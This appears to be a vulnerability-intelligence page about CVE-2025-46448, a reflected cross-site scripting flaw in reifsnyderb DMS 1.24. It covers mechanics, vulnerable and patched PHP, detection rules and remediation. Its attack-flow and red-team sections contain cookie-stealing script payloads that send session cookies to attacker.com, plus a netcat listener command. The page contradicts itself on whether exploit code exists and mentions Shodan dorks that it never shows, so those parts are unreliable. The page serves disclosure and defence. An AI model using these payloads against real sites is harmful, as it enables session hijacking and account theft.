CVE-2025-46448
Executive Summary
CVE-2025-46448 is a reflected Cross-Site Scripting (XSS) vulnerability in the reifsnyderb Document Management System (DMS) version 1.24 and earlier. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a response. This can be exploited to steal session cookies, perform phishing attacks, or deface the application. The CVSS score is 7.1 (High), and no official patch or exploit code is publicly available at this time. The vendor has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns apply.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High – Reflected XSS can lead to session hijacking and credential theft.
Deep Dive & Mechanics
The vulnerability exists in the dms application's handling of HTTP GET parameters. When a user-supplied parameter (e.g., ?search=<script>alert(1)</script>) is reflected in the HTML response without proper encoding or sanitization, the browser executes the injected script. The application likely uses echo $_GET['param'] or similar unsanitized output.
Attack Flow:
- Attacker crafts a malicious URL:
http://target/dms/index.php?search=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Attacker sends the link to a victim (e.g., via email or social engineering).
- Victim clicks the link while authenticated to the DMS.
- The injected script executes, sending the victim's session cookie to the attacker.
- Attacker uses the stolen cookie to impersonate the victim.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
$search = $_GET['search'];
echo "<p>Search results for: " . $search . "</p>";
?>
Patched Code (PHP):
<?php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<p>Search results for: " . $search . "</p>";
?>
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running DMS <= 1.24
- Victim user with active session
Proof-of-Concept (PoC) URL:
http://target/dms/index.php?search=<script>alert('XSS')</script>
Advanced Payload (Cookie Stealing):
http://target/dms/index.php?search=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
Setup:
- Start a listener on attacker machine:
nc -lvnp 80 - Send the crafted URL to the victim.
- Capture the cookie in the listener.
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious
searchparameters containing<script>oronerror=patterns. - Use WAF rules to block reflected XSS payloads.
Lab Setup for Testing:
- Install DMS 1.24 on a local LAMP stack.
- Access
http://localhost/dms/index.php?search=<script>alert(1)</script>. - Observe the alert box confirming XSS.
Indicators of Compromise (IOCs)
- Network: HTTP requests with
searchparameter containing<script>,onerror,onload, orjavascript:. - Logs: Web server access logs showing
GET /dms/index.php?search=<script>...entries. - File: No file-based IOCs; attack is purely in-memory via browser.
Detection Engineering
YARA Rule
rule CVE_2025_46448_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against reifsnyderb DMS"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-46448"
strings:
$payload1 = /search=<script[^>]*>/
$payload2 = /search=.*onerror=/
$payload3 = /search=.*javascript:/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against reifsnyderb DMS
id: 8f7a3c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8e
status: experimental
description: Detects HTTP requests with XSS payloads in the search parameter targeting DMS
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/dms/index.php"
cs-uri-query|contains:
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-46448 Reflected XSS in reifsnyderb DMS"; flow:to_server,established; content:"/dms/index.php"; http_uri; content:"search="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable functionality – Remove or comment out the
searchparameter handling inindex.php. - Apply input sanitization – Use
htmlspecialchars()or a similar function on all user-supplied data before output. - Implement Content Security Policy (CSP) – Add
Content-Security-Policy: script-src 'self'header to block inline scripts.
Long-Term Fix:
- Upgrade to a patched version if the vendor releases one.
- Consider migrating to a maintained alternative DMS.
Workaround:
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Restrict access to the DMS via VPN or IP whitelisting.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.